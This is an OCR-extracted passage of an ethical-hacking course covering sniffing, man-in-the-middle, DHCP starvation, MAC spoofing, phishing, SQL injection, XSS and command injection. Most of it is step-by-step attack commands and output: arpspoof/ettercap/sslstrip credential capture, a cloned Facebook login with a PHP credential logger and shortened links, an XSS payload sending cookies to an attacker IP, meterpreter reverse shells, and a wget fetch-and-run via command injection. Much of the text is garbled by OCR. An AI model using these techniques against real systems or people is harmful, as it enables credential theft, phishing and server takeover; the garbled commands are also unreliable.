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Part 7: Sniffer and Phishing Hacking

a. Understanding Sniffer

A sniffer can be a packet-capturing or frame-capturing tool. It intercepts traffic on
the network and displays it in either a command-line or GUI format for a hacker to
view.

Sniffers are used to capture traffic'sent between two'systems. Depending on how

the sniffer is used and the security measures in place, a hacker can use a sniffer to
discover usernames, passwords, and other confidential information transmitted%n >
the network. Several hacking attacks and variopf hacking tools requﬁe the use of a
sniffer to obtain important information sent from the target system. This chapter will
describe how sniffers work and identify the most common sniffer hacking tools.
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involves listening and capturing traﬁ'p; and is us’a‘dl‘jn a
network connected by hubs

involves launching an Address Resolution Protocol (ARP
spoofing or traffic-flooding attack against w::h in order to gapture traffic™
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hub %

Passive sniffing

b. Understanding ARP Poisoning

ARP allows the network to translate IP addresses into MAC addresses. When one
host using TCP/IP on a LAN tries to contact another, it needsthe MAC address or
hardware address of the host it's trying to reach e Tl

ARP poisoning is a technigue that’s used to attack an Ethernet network and that
may let an attacker sniff data frames on a switched LAN.or stop the traffic

altogether. ARP poisoning utilizes ARP spoofing whére the purpose is to send ﬁke,
or spoofed, ARP messages to an Ethernet LAN/

Arpspoof -i eth1 -t (target ip) (router ip) Qg J%
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ARP poisoning is changing the mac address of the the gateway
in the router to be the hacker mac address. The command for
arp spoofing

Arp —I etho -i (ip of the target) -t (ip of the gateway)

* root@bt: ~

c. Man of the Middle Attack Using Ettercap in Command Line:

The man-in-the middle attack intercepts a communication between two Systems. For
example, in an hitp transaction the target is the TCP conneclion bemeEﬁ';fiEnt and
server. Using different tgchniques, the attacker splits the griginal TCP caﬂhgctiﬂn
into 2 new connections, one between the client and the atfacker and the other
between the attacker and the server, as shownin figure 1. Once the TCP connection
is intercepted, the attacker acts as a proxy, I:remg able t6 read, insert and modifyithe

data in the intercepted communication. e
/ Man-in-the-middle attack

Ettercap
Dsniff
Cain e Abel




echo 1 > Iproc/sysinetfipvd/ip_forward

arpspoof -i eth0 -t (target ip) (router ip)
ettercap -T -q -i eth0

locat etter.conf

kate (path etter.conf)

10000

ssistrip —a




Enable the Ip forward using the command

# echo 1 > /proc/sys/net/ip4/ip_forward

Do arp poisoning

# arpspoof —I etho —t 192.168.52.132(target ip) 192.168.52.2
(gateway ip)

* root@bt: ~

Edit the ip table to tell the computer that any traffic that will
come in port 80 must be forwarded to port 10000. Then edit
etter.conf to tell him the edit in the ip table by removing the
hash # from the redirect commands.



# 1T you use 1ptables:
redir_command_on = "iptables -t nat -A PRERDUTING -i %iface -
redir_command_off = "iptables -t nat -D PREROUTING -1 %iface

Then activate the ssl tools in pentest
#cd [pentest/web/sslstrip

#python sslstrip.py -a (put the port if 10000 not
default)

Display the results using the ettercap tool
# ettercap -T -q -l etho

Test the connection from target computer and you will get the
username and password.



d. Man of the Middle Attack Using Ettercap in Graphical

Interface:



Repeat the steps for ip forward and iptables and sslstrips
# echo 1 > /proc/sys/net/ip4/ip_forward

# arpspoof —I etho —t 192.168.52.132(target ip) 192.168.52.2
(gateway ip)

#cd [pentest/web/sslstrip

#python sslistrip.py -a (put the port if 10000 not
default)



Open the ettercap. Choose sniff, unified sniffing, etho, scan for
hosts, hosts list. Then ARP poisoning, poison one way. Then
start sniffing.

You can also use the windows version Cain and abel. You can
also use yamas tool.

e. DHCP Starvation Attack:

Eduors Ethical Hacker Course

This type of attack can easily be achieved with tools such as gobblerif enough
requests flooded onto the network, the attacker can complétely ﬂhauﬁl‘he address
space allocated by the DHCP servers for an indefinite periogdof time. Cfl‘&of the
victim network are then starved of the DHCP resource{s]:fﬁus DHCP Starvation can
be classified as a Denial of Service attack. The network attacker can then set up

a Rogue DHCP Server on the network and perform man‘in the middle attacks, ol

simply set their machine as the default gatewa:.?dﬁd sniff packets

In DHCP starvation, the hacker will stop the DHCP server. The
hacker will make in his computer DHCP server. If the client
wants IP, the hacker computer will provide him with the Ip but
the gateway will be the Ip of the hacker machine and the hacker



will open lp forward to connect to internet. The hacker will
have sniffing program. When the clients want to go to internet,
they will send the hacker computer the data. The data will come
through the hacker computer and the hacker will forward them
to internet. The sniffing program will show the user name and
password of the client.

DHCP Starvation attack technique:

Apt-get install dhep3-server
Kate letc/dhcpidhcpd.conf
service isc-dhcp-server start

Download from site ;
Jeonfigure

make

make inatall

_dhepstary -i eth0
X

echo 1 > Iproc/syainetipvdlip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT -to-port 10000
as|atrip-a

ettercap -T -i ethi

We have to install the DHCP server on the hacker computer.
Then we make configuration for the scope it will distribute. We
have to tell him to put in the gateway the ip of the hacker
machine. Then we have to install and configure the tool
Dhcpstarv. The tool can make DHCP attack and can stop the
DHCP server. Then we make the steps for the sniffing
techniques. When the computer writes any username and
password we can see them in ettercap.



Install the DHCP server using the command

# apt-get install dhcps-server



#kate /etc/dhcp/dhcpd.conf

Change the scope and put the ip of gateway router to be the
hacker computer

#A slightly different configuration for an internal subnet.
subnet 192.168,1, @ netmask 255,255,255.0 {
fange 152.168.1. 10 192.168.1.50;
option domaln-name-servers 192, 168,28, 2;
# option domaln-name “internal.example.org”;
option routers 192.168,1.11;
# option broadcast-address 10.5.5. 31:
default-lease-time S00:

Start the dhcp server by typing



# dhcp isc-dhcp-server start

Download the tool DHCP

starvation to stop the dhcp server in
the network

Download from site :

Jeonfigure
make
make install

dhcpatary -i ethQ

This is the DHCP server in the windows with its scope

i =] 3|
Hle Action Wew Help
e s DR QB @ *
£ oHee Address Pool
(=" g) Win2003, eduors.Jocal [192.168.1 | Start 10 Address | End 1P Address | Description
= Scopel122.168.1.0] af  f1ry05 166 1,10 192.169.1.50 Address rangs For distrit
A7) Address Leases ]%
+-_al Reservabions
LD Scope Options

15 Server Options




The gateway

Fle Action ew Help

&= | ERXFHE 2 &

0 orce ' Scope Options
(= [[3) Win2003, eduors local [192.168. 1 ption Marme | vendor | Walpe
= Scope [192,168.1,0) &l iR Standard :
S #1008 755 Pock P 006 DNS Servers Standard

@ Address Leases
+- = Reservabions
g Scope Options
) Server Options

To stop the network dhcp server, go to the tool dhcpstarv

# dhcpstarv I etho

It will reserve all the ips in the scope of the network dhcp
server




CEEE—— =101 x|
Fle Action Wew Heb
& - m X NE 2
49 DHCP Address Leases
= i-.;-] WﬁZUD:iedul:csluc&[]?ZlﬁEH CiGI'i‘IF‘.ﬁ.ddress INM‘IE‘ ILmEEXﬂirﬂl‘:‘n —
= Scope [152.168.1.00 8 @5 166,110 <p-1. 8/1)2013 2:34:39 AM
:ﬂ:t::les = 192,166.1.11 ok 8/1/2013 3:00:04 AM
&5-{58 Reservations 8 192,168.1.12 8/1/2013 4:13:48 AM
@ Scope Options 3 192,168.1.13 8/1/2013 4:13:49 AM
) Servec Options 192,166,114 8/1/2013 4:13:49 AM
= 1oz, 166,115 8/1/2013 4:13:49 AM
1oz 166.1.16 8]1)2013 4:13:49 AM |
= 1oz 168.1,17 8/1/2013 4:13:50 AM
=) 1oz 168.1,18 8/1/2013 4:13:50 AM
= oo 168.1,19 8/1/2013 4:13:51 AM
i 8/1/2013 4:13:5
= 152,166.1,21 8/1/2013 4:13:53 AM
= 1o2,168.1,22 8/1/2013 4:13:53 AM
= 152,168.1,23 8/1/2013 4:13:53 AM
= 152, 168.1,24 8/1/2013 4:13:53 AM
= 152,168.1,25 8/1/2013 4:13:53 AM
= 152, 168.1,26 8/1/2013 4:13:53 AM =
. | »ld | Ll—l

We will enable the ip forward in the hacker machine and we
make the settings of the iptable . Then we run the sslstrip

~# ettar

ettercap NG-0.7,4.2 coyright 2001-2805 ALoR & NaGA




Test the connection. Use any computer to the network to login
yahoo. In the hacker computer we can get the username and
password.



INFO: http://login.y

3 GW 182.168.1.11 DNS 192.

f. Understand MAC Spoofing:

MAC spoofing is a technique for changing a factory-assigned Media h_!foss Control
(MAC) address of a network interface on a networked device.The MAC address is

hard-coded on a network interface controller (NIC) and ¢ v{natbe changediy
tem

However, there are tools which can make an operating s believe that the NIC
has the MAC address of a user's choosing. The process of masking a MAC address
is known as MAC spoofing. Essentially, MAC spoofing€htails changing a M
computer’s identity, for any reason, and it is relafl

The MAC address

- 6 bytes -—
offset: 1 2 3 & kS - 5]
3 6th byte Sth byte ath byte 3rd byte 2nd byte 1st byte o
a 1st octet 2nd octet 3rd octet 4rh octet S5th octet 6th octet g
— —r
v W
2 ——3 bytes --,LC 3 bytes —in =
' [ )
o Organisationally Unique | Network Interface Controller o 7]
3 Identifier (OULI) | (NIC) Specific l_:_:i'_

balb7 Ibﬁlbslbdlbz:lbz'lbl]

%

: unicast

= O

: multicast

: globally unigue (OUl enforced)

= O

: locally administered

The MAC address consists of 6 bytes. The first 3 bytes concerns



the vendor. The other three bytes given by the company that
distributes the network cards. We can make spoofing for the
mac address which means that we hide my mac address to take
another mac address. We need that in some hacking purposes.
To make mac spoofing in windows:

£ Computer Management

=l Flle  Action  View ‘Window  Help =[] %]
e R FS 2 A=A
E Computer Managamant {Local) [= _E XP-1 ~
- ﬁ Swstem Tools B Batteries
+ L] Evertt Viewes . % Blustaoth Radios
+ g d Shared Folders + 1§ Computer
+| g Local Users and Groups +| “ee Digk drives
* Performance Logs and Alerks * ? Display adaptars
% Device Manager # o DVDJCD-ROM drives
= 'Eij Storage + 1= Floppy disk contrallers
* Removable Storage # M Floppy disk drives
Disk, Defragmenter + [ Human Interface Devices
Disk. Management < = IDE ATASATAPT contrallers
. }5 Services and Applications + L Keyhoards
+ ) Mice and other pointing devices
= B Metwork adapters

B9 Elustooth Device (Personal Ares Nstwork)
BE Elustooth Device (RFCOMM Pratocal TOD

iware Accelerated AMD PChet Adapter
# o Ports (COM BLPT)
< 4 Processors
+ €5 SCS1 and RAID controllers
« @ sound, video and game controllars

|~
W

| £




[ Mware Accelerated AMD PCHet Adapter Properties

Genersl  Advanced | Diyves | Details | Resouces

T he fellovang propeties are available for this network, adaptes. Chok
the propety you wank to change on the left, and then select iz value
on the right,

Fropetty: Walue:

Extemal PHY 0 inniczaamm

Fudl Duplex

IEEE 802 1p T agging -

MP Made Mt Pressant

kAT

MetworkAddiess

TCPAF Dfflosd

TF Mode

TsoEnable

| ok || Cancel |

In Linux, we can use tool called mac changer that can change
the mac address to be random mac address. First disable the

network card

#ifconfig etho down

#macchanger —r etho

#macchanger —-m (mac address)

address)

#if config etho up.

(will make random mac address)

(if we want to put certain mac



g rmanent

Current

\ew




g. Phishing:

* aform of social engineering, characterized by attempts to fraudulently acquire
sensitive information, such as passwords and credit card deta%
ren icial

masquerading as a trustworthy person or business jp@n appa

electronic communication, suchas an email oran instant message. The

term phishingarises from the use of increasingly sophisticated lures to "ﬂsh“
for users' financial information and passwojds.

We can make fake website and then we ask the client to enter
this website. In this way we can get the user name and
password.

We can make phishing in internal or external network. You can
make it by manual or by some tools with DNS poisoning

Use post.php

Set Tools

dns poisoning

Install a web server in the internal network. Take the facebook
source code. Change the source code near action to be the



following

</ar<div c '_ase="nenu_J_ug1.n_cuntauler rfloat"><form id=* laljll‘l_.tf.lm" accion="post.php" mechod="post" onsubmic="return window

Jgin":1l,"src": "heeps:\/\/fhetatic-a.akamaihd.net) /rscc. php\ /v2\ / yqi / o\ / MDwOQVOSIHh. 357} , "HIMNN4 ™ : { "Cype” " )5" , "crossOrigin™:
e=":[1.," Iule”: tzme) ,"Event™: { "rescurces”: [YOHAXD"] ,"module” ; true} , "Asynclialog™s { "res roes™s ["OHIxD™,"£7Tpb"™ , "AVC o™,

Use the file post.php.

1 =< ?php
h=ader ('Location:hcop://vww,facebook.com')
3 fhandle = Iopen("usernames.txt”, "a");
4 [-foreach(§_POST |as {yarisble => §value) (
5 fyrite ($handle, Yvariable):
i furite ($handle, =it}
7 furite (fhandle, Svalue):
ferite (fhandle, "icin"):
i
: furite(fhandle, "\zin"):
1 folose (fhandle) ;
F exit;
T

Change the url in the file

|<7php
header [‘heoop=:/fwew, facshook. con/ Loagin, php?login ATceEmp? |':';
fhandle = fopan("uzsrnames.txt”, "a'): I

Take the files index.php and post.php and save them in your
web server.

Shorten the ip in the web site goo.gl or j.mp. When the use log
in the face book through your fake web page, he will be
directed to original web site. You can see his username or
password in the file usernames.txt.



£ usernames.txt - Nolepad
Fie Edt Format ¥iew Help

l]51:i=-mﬂq:ac?smr
email=mabmoud T
pass=eduors
default_persistent=0
timezone=390
Tgrrnd=135353_vcogn
1gnis=1375133015
locale=en_us

h. Phishing in Internal Netwok with DNS Poisoning:




—

DNS spoofing (or DNS cache poisoning)is a computerﬁaekmg

-

whereby data is introduced into a Domain Name Syste’m (DNS) name
server's cache database, causing the name server to return an incorrect IP
address, diverting traffic to another computer (often the attacker's). A

y

DNS poisoning is to poison the DNS. In this way and user
want to go to some site like the hacker will resolve its ip so it
comes to hacker computer first and it will save its username
and password and then forward the client to the original
website. This technique employed in i

Operate the set tool kit. Choose 1 for social engineering attack.
Then 2 for web site attack vector. Then choose 3 for credential
harvester attack method. Then choose 2 for site cloner. Put the
hacker computer ip. Then enter the website that you want to
make for it phishing ie

Then make the dns poisoning. Edit the etter.dns



or for M query:
domain.com MX XXX, XXX.XXX.XXX

(=]

* for WINS guery:
workgroup WINS 127.0.0.1
L WINS 127.0.0.1

MOTE: the wildcarded hosts can't be used to poison the PTR requests
so 1f you want to reverse poison you have to specify a plain
host. [look at the wwew.microsoft.com example)

HH BB R RR
HHEHBERR B RER

e e R a  da st Lt

F g R R R R R e o e
= mlcrnqnft Sufkﬂ :]

# redirect it to www. linux.org

-

|*, faceboak . com A 192.168.1.4

microsoft.com A 198.182.196.56

*.microsatt.com A 198.1B2.196,.56

www.microsoft.com PTR 198.1B82.196.56 # Wildecards in PTR are not allowed

Fagagsnsdsdsgsgsisiadgdpdpgdagdgdgagdsadsas
£ no ona out there can have our domains...
£

www.alor.org & 127.0.0.1

Operate the ettercap by typing ettercap -G. Choose sniff, unified
sniffing. Then scan for hosts. Then choose mitm and choose
sniff remote connections. Choose dns_spoof plugin. Then start
sniffing.

Understand DNS Cash poisoning

——

» DNS spoofing (or DNS cache poisoning)is a camput_ﬁrhi&king

whereby data is introduced into a Domain Name Sys'téfn (DNS) name
server's cache database, causing the name server to return an incorrect P

address, diverting traffic to another computer (often the attacker's). A

We can do it in windows machine also

Part 8: Hacking Web Servers
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Part 8: Hacking Web Servers
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SELECT * FROM user WHERE username = pomin__AND password = admn

SELECT
et
Jpdate
Ctiete
UNMON AL L

ORLER HY

SOL inpectior s 3 code smpection bechnigue used to atisck dats driven
wobcstions o W h malious SQU staterments 47 ¢ ~apred MO BRENEry Nedd
for execubion (e g 10 dump the database conbents 1o thg FERCke) MBCL
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A

typed and uneipectedty enesvted SQL mpectionil Mostly bnown 53 an

a2tachk vecior Ior wabsites but cam be used P& Mk any type of SOL database

The data base injection is to inject the database with certain
data to alter the database and execute certain commands on the
system that has this database.
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' use some Comments

SELECT " FROMN user WHERE username » admen” AND password @ acimin

SELECT * FROM yser WHERE ysername AND pasyworr




Mavy s an sutomated SQL Inpection tool. It's famous enough thel TR sure yo
Wrdw It OF you ve heard s rame As you may have diready beem ROEIERO aD0Ut
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Download netsparker to scan web site
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Take the vulnerable url
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Open Havjj tools

Using webcruiser
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Brute Force

First, input any username and password which are wrong, here we input 123 and

456:
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submit it and switch to the “Resend” tab.
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data retneval
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Take the cookie using the temper data plugin
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Go application, backtrack, exploitation tools, web exploitation

tools, sqlmap

Write the command

# python sglmap.py —u 'url' —cookie 'cookie' --dbs



We will get all the databases

*| Lntermation sChesa

*| phgmyaduin

Change the command to put the data base name and show the
tables in that database

Change the command to put the data base name and table
name and to show the users in that database




Put the command to show all users information

It will ask if he has to do dictionary attack, answer yes



data retneval
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Take the url of the website



Go application, backtrack, exploitation tools, web exploitation
tools, sqlmap

Write the command

# python sglmap.py —u ‘'url' —cookie 'cookie' --dbs

We will get all the databases

*| iaformation LChena

*| phgeyadmin




Change the command to put the data base name and show the
tables in that database

Change the command to put the data base name and table
name and to show the users in that database

Put the command to show all users information

It will ask if he has to do dictionary attack, answer yes



order by 3

union salect 1.2
unson select 1 version()

union select 1 database()
union select 1 user()

ThL =14 i-'l"{'l"'i.T 1*{-.* schemar ,E"---"

undon select Lable name nul from NforMmaton schema Labies where
table schema=dvwa

unson select first name password from dvwa users
L

Sometimes we cant use the SQL injection tool because of the
firewall. So you need to depend on yourself manually. You need
to know the no of columns in the table and through this way
you can run the commands on the server. We will use the
technique order by.



Make the security medium in DVWA
Go to SQL injection and put query by entering user id

http://192.168.52.134/dvwa/vulnerabilities /sqli/?
id=1&Submit=Submit#

——— e e w———— o w—

- o L e i ST 4]

Vulnerability: SQL Injection

User

Fi” l'l
i

More info

After user id, put the order by (no) --, ie 5—then decrease it

http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 order by -
&Submit=Submit#

You will get error

It will work when order by 2--, so there is 2 columns

http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 order by 2--
&Submit=Submit#

We want to know the affected column, so we can run the



commands we want to run, so we will use union select. We can
download tool called hack bar to write the commands



http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 union select
1,2-- &Submit=Submit#
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The affected column is 2

Vulnerability: SQL Injection

User ID:

ID: 1 pynion select 1,2--
First name: admin
Surname: admin

ID: 1 pynion select 1,2--
First name: 1
Surname: 2




To know the database, write

http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 union select
1,database()-- &Submit=Submit#

User ID:

ID: 2 union select 1,database()-—-
First name: Gordon
Surname: Brown

ID: 2 union select 1,database()--
Firsct name: 1
Surname: dvwa

To know the user, write

http://192.168.52.134/dvwa/vulnerabilities /sqgli/?id=2 union select
1,user()-- &Submit=Submit#

Vulnerability: SQL Injec

User ID:

[ Submi |

ID: 2 maicn select } uaserc|(}--
irst name: Gordon
Surname: Brown

Ih= .2 nnicon select l.uzer()-=-=
First pames;: 1

-5

Surnames: root@localhost




To know the version



http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 union select
1,version()-- &Submit=Submit#

User ID:

ID: 2 union select 1,version()—-
irst mame: Gordon
Surname: Brown

ID: 2 wvnion select 1,version()-—-

First name: 1
Surname: 5.0.5la-3ubuntus

To query the data in the SQL database



http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 UNION select
distinct(table_schema), null FROM information_schema.tables --

&Submit=Submit#

User ID:

ID: 1 UNION
First name:

Surnams: admi

ID: 1 UNIONM
First name:
Lurnames:

ID: 1 UNIOM
First name:
Surname:

ID: I UNIONM
First name:
Surname:

ID: 1 UNION
First name:
Surname:

ID: 1 UNIOM
First name:
Lurnams:

ID: 1 UNIONM
First name:
Surname:

| Submit |

select distinct{table schema),

admin

select distinct{table schema),

information_schema

o w

Wila

select distinct(table schema),

]

mysql

select distinct(table schema)},

owasple

iwiki

elect distinct(table schema),

select distinct(table schema},
tik

null

null

null

null

null

null

null

FROM

FROM

FROM

FROM

FROM information schema.tables--

To see the tables in the database DVWA
http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 union

information sc

M information sch

information_sche

M information sch

information_sch

information_sche

ema.tables--

ema.tables--

ema.tables--

select



table_name, null from information_schema.tables where
table_schema=dvwa -- &Submit=Submit#
But you need to encode dvwa

http://192.168.52.134/dvwa/vulnerabilities /sqli/?id=2 union select
table_name, null from information_schema.tables where
table_schema=0x64767761 -- &Submit=Submit#

Vulnerability: SQL Injection

User ID:

_Submit_

First name: Gordon
Surname: Brown

First name: guestbook
Surnams:

ID: 2 wnion se
First name: users

Surnames:

ID: 2 union select table name, null from information_schema.tables where table schema=8x$4767761 --

ID: 2 union select table name, null from information_schema.tables where table_schema=2x$4767761 —-

lect table_name, null from information_schema.tables where table_schema=8x$4767761 —-



o wnion select Lable name nul from InfomMmaton schemad Labies where
table schema=dvwa

union select Lable namenuld from nformaton schema Lables where
table schemy=0uB4T677E

To see the users in the database DVWA
http://192.168.52.134/dvwa/vulnerabilities /sqli/?id=2 union select
first_name, password from dvwa.users -- &Submit=Submit#

union select first_name password from dywa. users -




Vulnerability: SQL Injection

User ID:

ID: I uni
First nam
Surnams: admi

ID: 1 union sele
First name: Gordon
Surnams: =99318cd28ch3B8d5T268853678922203
ID: 1 union s
First name: H
Surname: 8d35

ID: I unio
First name:
a

Surname:

ID: 1 wnio
First name:
Surname: 5

union sesect null -

—
=

" union select null load flel /elc/passwd) nullnus ault -
e

“union select null load fe bootani’), null.null nu
e

union select null--

TEXT , "2010-1-1 12:00:00") --




Use the union select nul — to know the number of tables and

number of columns in the table.
Go to mutillidae, then injections, SQLi extract data, user info.

Write

'union select null --

Please enter username and
to view account details

Name [ unon select rull -
Password |

View Account Detalh

You will get error message

Dont have an account? Base register hece

| Error: Fallure Is always an option and this situation proves It |
T S——————_—
" ’o‘
Message effo'r'ék&&'rh'&%'%'@é'éhéau&énmsria.;‘;'aééfﬁ'm& é.f"c'é'am
_IO.W.‘sMre.m..tlcwnaex prO(a69). Inchude() #1 (main) ;
thlotlc lnformluon SELECT * FROM accounts MF.E Mrm-M N\Omswd- .
[ Did you sstupireset the DB? J

Increase the no of nuls until you don’t get error. After 5 nulls
got the answer

‘union select null, null, null, null, null--



[ Results for . 1 records found.

sername
Password=f' ]
Signature

To load the file, change one of the commands to
load_file('/etc/passwd/")

Please enter username and password

to view account detalls
Name Jet rliosd_ el etc/oot red
Password | 1
View Account Detalls

You can insert in the database the value we want

Add blog for anonymous

|Note: <b>,</b>,<I>,</i>,<u> and </u> are now allowed In blog entries
o . X111 1200W ) - |




Blind SQL (Structured Query Language) injection is a type of SOL

Injection attack that ashs the database true or false guestions and Mrﬂ
the answer based on the applicatons response. This attack ioflen used When
the web applicatson is configured 1o show generic error mitssiges bt '*Mt
mitgated the code that is vulnerabie to SQL injectron 4

When an attacker exploits SQL injection, sometimes theweb application

displays error messages from the database complaliting that the SQL Query's .
syniax is incorrect Blind SOL injection is neadly identical to normal SQL
injection, the only cifference being the way the data is retrieved from the
database. When the database does not output data Lo the wed page, an attacher
is forced (o steal data by asking the dastabase a series of Lrue or laise
questions. This makes expiofting the SOL Injection vulnerabiity more difficult
but not imngOs sibde

We depended before in the error message. In blind SQL
injection we will depend on sql injection without errors. Go to
blind sql injection in dvwa> Make the security medium.

To get the no of columns, write in the box

1 union select null,null--

User ID:

Submit
ID: 1 union select null,null--
First name: admin
Surnams: admin

ID: 1 union select null, null--
First name:
Surname:



Another technique is to write 1 union select 1,2~
To load file,

1 union select 1, load_file (/etc/passwd)—

If it does not work, give it the passwd file in hex.

1 union select

Cross-Site Scripting attacks are a type of igiection problem,.in wh[Eﬁ'mlIcinus
scripts are injected into the otherwise benign and trustedaeb sites. Ufbg&site
scripting (XSS) attacks occur when an attacker uses a'web application to send
malicious code, generally in the form of a browser side script, to a different
end user. Flaws that allow these attacks to succeeddre quite widespread and

occur anywhere a web application uses inputffom a user in the output it
generates without validating or encoding it/

An attacker can use XSS to send a malicious scriptto an unsuspecting user.
The end user's browser has no way to know that the script should not be
trusted, and will execute the script. Because it thinks the script came from a
trusted source, the malicious script can access any cookies, session tokens,
or other sensitive information retained by your browser and used with that site.
These scripts can even rewrite the content of the HTML page.




The reason that there is hole in the web application program
that allows the hacker to execute command or browse the
computer. If the hacker wrote a script code and the web
application executed the code, then the application has a CSS
hole.

There are persistent XSS attacks and reflected XSS attacks

Stored attacks are those where the injected code is permanently stored on the
target servers, such as in a database, in a message forum, visitor log,
comment field, etc. The victim then retrieves the malicious script fromthe
server when it requests the stored information o~

s

."/.
Refleted attacks are those where the injected code is reflected off the web
server, such as in an error message, search result, or any other response that
includes some or all of the input sent to the server as part of the request.
Reflected attacks are delivered to victims via another route, such as in an e-
mail message, or on some other web server. When a user is tricked into
clicking on a malicious link or submitting a specially crafted form, the injected
code travels to the vulnerable web server, which reflects the attack back to the
user's browser. The browser then executes the code because it came from a

“trusted” server.




The reflected XSS attack is through injecting the url, and we call
it url inject. In persistent XSS attack, it stores it in the database
and this is very dangerous since anybody will visit the post, the
code will be applied on its computer .

<script=alert('mahmoud’)</script>

y
<script>document.location="http://192.168.1 7lindex.php 7" +document.cookie; </script>

Encoder script
Shorten url
nc -lvvp 80

3

Inject cookie by cookie manager +

To know whether the website has the XSS hole, test that on
mutillidae. Go to DNS lookup.
To know if the web application has the xss hole, write the script

You will get 1



To know the session id on cookie, we write

To direct you to other website write

We can use the link directly

192,168, 1, 3fvulnarabilties) s [{ET cript = alerti ) ) <% 2Fscrif
[ —

We can take the cookie of the admin in the website and then
we can make login with the cookie and take the admin privilege.
We will work on script that will direct to faked hacker web
server and we will tell him to inject the cookie. In the hacker
computer, we will operate any listener that can see the request
There is web site that can encode the url.



<script>document. location="http://192.168.1 Tlindex.php?'+document.cookie;</script

Encoder script 4

%3[5Cfipt%3Edﬂcumeni,Lucatinn%BB%ﬁ?http%ih%ZF%EFIEE.168.1.?%2Flndex.php%3F%2?%
2Bdocument . cookile%3B%3C%2Fscripts3E%0A

http://192.168.1.3/vulnerabilities/xss r/7?name=%3Cscript%3Edocument.location%3D
R27http%3A%2F%2F192.168. 1. 7%2Findex. php%3F%27%2Bdocument . cookie%3B%3(%2Fscripi%
JESOAH

We make a listener

The admin will open the link that you sent through the emil

http://192.168.1.3/vulnerabilities/xss r/Tname=%3Cscript%3Edocument.location%3D

%2 Thttp%s3A%2F%2F192,168. 1. 7%2Findex. php%3F%27%2Bdocument . cookie%3B%3CR2Fscripts

The hacker will listen on the port 8o. He will get the admin
session id from the cookie of the admin



root@bt: ~

connes "81192.168.1.7] from (UNKNOWN) [192.168.1.6] 3433

ET !mdex php?PHPSESSID=91b78r1d96uc9uas203419ntd2;%20security=1low HTTP/1.1

ost: 192.168.1.7

ser-Agent: Mozilla/5.@ (Windows NT 5.1; rv:22.08) Gecko/20106181 Firefox/22.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;0=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.3/vulnerabilities/xss r/?name=%3Cscript%3Edocument.loc
ation%3D%27http%3A%2F%2F192.168.1.7%2Findex . php%3F%27%2Bdocument . cookie%3B%3C%2F

The hacker will browse the application website. He will use
temper to change the session id to the hacker session id



68.1.3/index.php

ieader Na... Request Header Value
192.168.1.3
L Mozilla/5.0 (X11; Linux i68t

text/html, application/xhtm
nguage | en-US,en;q=0.5
coding gzip, deflate

| PHPSESSID=cv1h878pjv03

Armitage

Start browser_autopwn module

The browser autopwn makes the machine web server and
anybody will browse it will apply all the exploits for the browser
and any exploit it will find in the browser will make though it
gain access to the web server and reverse connecrion to hacker
machine

Go to back track and operate the armitage. Put the LHost and
SRVHOST the hacker machine Ip and the SRV port 8o and
URIPATH /.



Armitage View Hosts Attacks Workspaces Help

v (@ admin

¥ | woworks

dlink_izeye_au
¥ [ server
| file_autopwn

v (& explott
¥ @ windows

¥ |& browser

{ % server/browser_autopwn

HTTP Client Automatic Exploitar

This module has three actions. The first (and the default) is 'WebServer'

o autodesk idro which usas a combination of client-side and server-side technigues to E
¥ lg post finnarnrint HTTPR rliante and than s tamaticalh: avnlait tham  Mavt i .4
v (@ windows Option 4 Value
¥ [@ manage LHOST 192.168.1.7
autoroute SRVHOST 192,168.1.7
SRVPORT a0
0

SSLV on S5L3

URIPATH

[ Console X

III1I1 dTh.dTh

Install the firebug in order to adjust the sizes of the browser
elements so it can withstand the script.



Mame * |admin m

<goripl>document.location="ttp://192.168.1 ?"I'sr.ﬂpt:- J

Message *

| Sign Guestbook

When the client go to the guest book, it will be forwarded to
hacker computer.

You can use instead of browser autopone module the
java_signed_applet. We put in LHOST the hacker computer Ip
and LPort the port any port and decide the type of the payload
to be java/meterpreter/revers_tcp. The SRVHOST same as our ip
and the SRVPort 8o and URI path /



Armitage Vew Hosts Attacks Workspaces Help

v ‘;f auxiliary A
¥ (@ admin
¥ (& zend
java_bridge
¥ (@ exploit
it

¥ (@ browser -
java_calendar_deserialize | x multi/browser/java_signed_applet
java_getsoundbank_bof

1 java_rmi_connection_impl

lava Signed Applet Social Engineering Code Execution

This exploit dynamically creates a jar file via the Msf:Exploit::Java mixin, -]
then signs the it. The resulting signed applet is presented to the victim via ['

a wiah nana with an annlat tan Tha sdrtim'e WM will nan o Aialan aclkina if

_| |ava_setdifficm_bof

B java signed applet

java_trusted_chain Option & | Walus
mozilla_navigatorjava L APPLETNAME Siteloader A
gtjava_pointer v CERTCN SiteLoader

DisablePayloadHandler false

ExitOnSession false

< 192.1€8.1.7
—— LPORT 25976
_[ Console X 1 PAYLOAD + java/meterpreter/reverse_fcp |
SigningCert
gning v

f Targets: |0 == Generic (Java Payload) '_J




Any body will browse the link will send him the
java/meterpreter/reverse_tcp payload

When the client go to the guest book, it will be forwarded to
hacker computer and will download the payload.



One of the most critical vulnerabilities that a penetration tester can come
across in a web application penetration test is to find anjapplicationsthat it will
allow him to execute system commands.The rate of this-vu]ﬁ'érabilityaimi.?h
because it can allow any unauthorized and malicious uSef to execute
commands from the web application to the systemrand to harvest large amount

of information or to compromise the target host.In this article we will see how

we can exploit this vulnerability by using the Damh Vulnerable Web Applicatﬁ > |
for demonstration.

We can through the infected url excute certain commands in
unix and windows. We can upload payload and through this
payload we can hack the server.

You can browse the webserver

You can upload payload in the web server. We will use
msfvenom. Msfvenom is combination of msfpayload and
msfencode.

Msfvenom —p php/meterpreter/reverse_tcp lhost (ip of hacker
computer) Iport=(any) -f raw > /[root/test.php




Remove the hash from the php file
We have to copy the payload in the web server but it must be
text file



Cp /root/test.php /var/www/test.txt

We will apply the command in the website to upload the
payload through the wget command

:M@ft:p:uwz.153.1.wtest.rxr -0 /tmp/test.php ; php -f /tmp/test.php



wget -O  /tmp/test.php ; php —f /tmp/test.php



Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

